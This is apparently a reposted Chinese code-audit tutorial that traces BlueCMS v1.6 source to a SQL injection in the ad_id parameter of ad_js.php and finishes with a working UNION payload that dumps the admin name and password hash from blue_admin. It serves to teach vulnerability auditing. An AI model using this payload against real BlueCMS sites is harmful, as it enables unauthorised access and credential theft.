注入改写index.php,[php审计实战篇]BlueCms v1.6 Union注入

本文通过一步步分析PHP代码,揭示了一个SQL注入漏洞的形成过程,从`magic_quotes_gpc`关闭后的字符转义,到GET参数的处理,再到SQL查询的执行。学习者可以借此了解如何追踪代码并识别潜在威胁,以及基本的防御措施。
摘要由CSDN通过智能技术生成

本帖最后由 Aedoo 于 2018-3-21 10:08 编辑

0x00 前言

非常基础的代码审计练习,适合有php基础的审计新手练习

(如果你觉得本篇文章让你获得了知识,请务必在下方点个赞,谢谢表哥们!)

0x01 代码跟踪

首先,进入首页代码 :index.php

8f3ff2fbfdd7c7c8339951a6542705fa.gif

1.png (46.36 KB, 下载次数: 164)

2017-12-11 00:17 上传

包含了php文件:/include/common.inc.php

跟踪这个php文件,这些文件都是包含的全局文件。

8f3ff2fbfdd7c7c8339951a6542705fa.gif

2.png (93.21 KB, 下载次数: 192)

2017-12-11 00:02 上传

这个php文件还是先包含了几个全局文件。

最主要的是上图最下方的if判断:

[PHP] 纯文本查看 复制代码if(!get_magic_quotes_gpc())

{

$_POST = deep_addslashes($_POST);

$_GET = deep_addslashes($_GET);

$_COOKIES = deep_addslashes($_COOKIES);

$_REQUEST = deep_addslashes($_REQUEST);

}

如果未开启magic_quotes_gpc,则对以各种请求的数据使用deep_addslashes()进行过滤,跟踪一下这个函数:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

3.png (38.36 KB, 下载次数: 205)

2017-12-11 00:02 上传

对传入的的$str,无论是数组还是字符串,使用addslashes()进行过滤。

PS:magic_quotes_gpc=On的情况下,如果输入的数据有,单引号(’)、双引号(”)、反斜线()与 NUL(NULL 字符)等字符都会被加上反斜线。这些转义是必须的,如果这个选项为off,那么我们就必须调用addslashes这个函数来为字符串增加转义。

0x02 注入分析

在phpstorm使用CTRL+SHIFT+F全局搜索:$_GET

寻找以GET方式传入的参数:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

4.png (69.25 KB, 下载次数: 177)

2017-12-11 00:02 上传

使用红框圈起来的这条有异常。

ad_id明显是文章或者广告的id,并没有使用intval强制转化为整数型而是使用了trim()函数来去除了前后的空格,有点看不懂。

此时还不能完全确定存在注入,跟踪到这行代码看一下:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

5.png (50.69 KB, 下载次数: 202)

2017-12-11 00:02 上传

这次确定,对传入的ad_id只判断了是否为空,去除了前后的空格,此外也就多了一个全局的addslashes()转义了一下特殊字符,直接进行了SQL查询。

将SQL语句传入了getone()函数,很明显getone是进行SQL查询的函数,跟进。

getone()函数:

[PHP] 纯文本查看 复制代码function getone($sql, $type=MYSQL_ASSOC){

$query = $this->query($sql,$this->linkid);

$row = mysql_fetch_array($query, $type);

return $row;

}

query()函数:

[PHP] 纯文本查看 复制代码function query($sql){

if(!$query=@mysql_query($sql, $this->linkid)){

$this->dbshow("Query error:$sql");

}else{

return $query;

}

}

第一个if,如果执行发生错误,将错误信息"Query error

63070f0cca3ea0fb720b42f596e269e0.gifsql"传入dbshow()函数。

dbshow()函数:

[PHP] 纯文本查看 复制代码function dbshow($msg){

if($msg){

echo "Error:".$msg."
";

}else{

echo "Errno:".$this->errno()."
Error:".$this->error();

}

exit;

}

作用是输出错误信息。

之后回到ad_js.php文件:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

6.png (12.23 KB, 下载次数: 190)

2017-12-11 00:02 上传

$ad_content输出查询信息。

输出形式:

[HTML] 纯文本查看 复制代码

0x03 构造Payload

正常的SQL查询语句为:

[SQL] 纯文本查看 复制代码select * from blue_ad where ad_id=1

因为直接回显查询内容,所以直接union注入咯。

看一下数据库结构:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

7.png (19.92 KB, 下载次数: 192)

2017-12-11 00:02 上传

8f3ff2fbfdd7c7c8339951a6542705fa.gif

8.png (22.75 KB, 下载次数: 201)

2017-12-11 00:02 上传

我们需要的数据列名为admin_name和pwd,构造PayLoad:

[SQL] 纯文本查看 复制代码select * from blue_ad where ad_id=-1 union select 1,2,3,4,5,6,concat(admin_name,0x23,pwd) from blue_admin limit 0,1#

执行后查看源码:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

9.png (40.47 KB, 下载次数: 203)

2017-12-11 00:02 上传

[HTML] 纯文本查看 复制代码

0x04 源码下载及工具说明

下载链接:

4cbd17ec9104bcd74a4ff8eba17995ca.gif

BlueCMS v1.6 sp1.rar

(2.41 MB, 下载次数: 334)

2017-12-11 00:08 上传

点击文件名下载附件

下载积分: 魔法币 -5

审计工具:phpstorm

环境搭建:phpstudy

PS:如有技术问题或者代码疑问,请回帖留言,我会一一作答。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值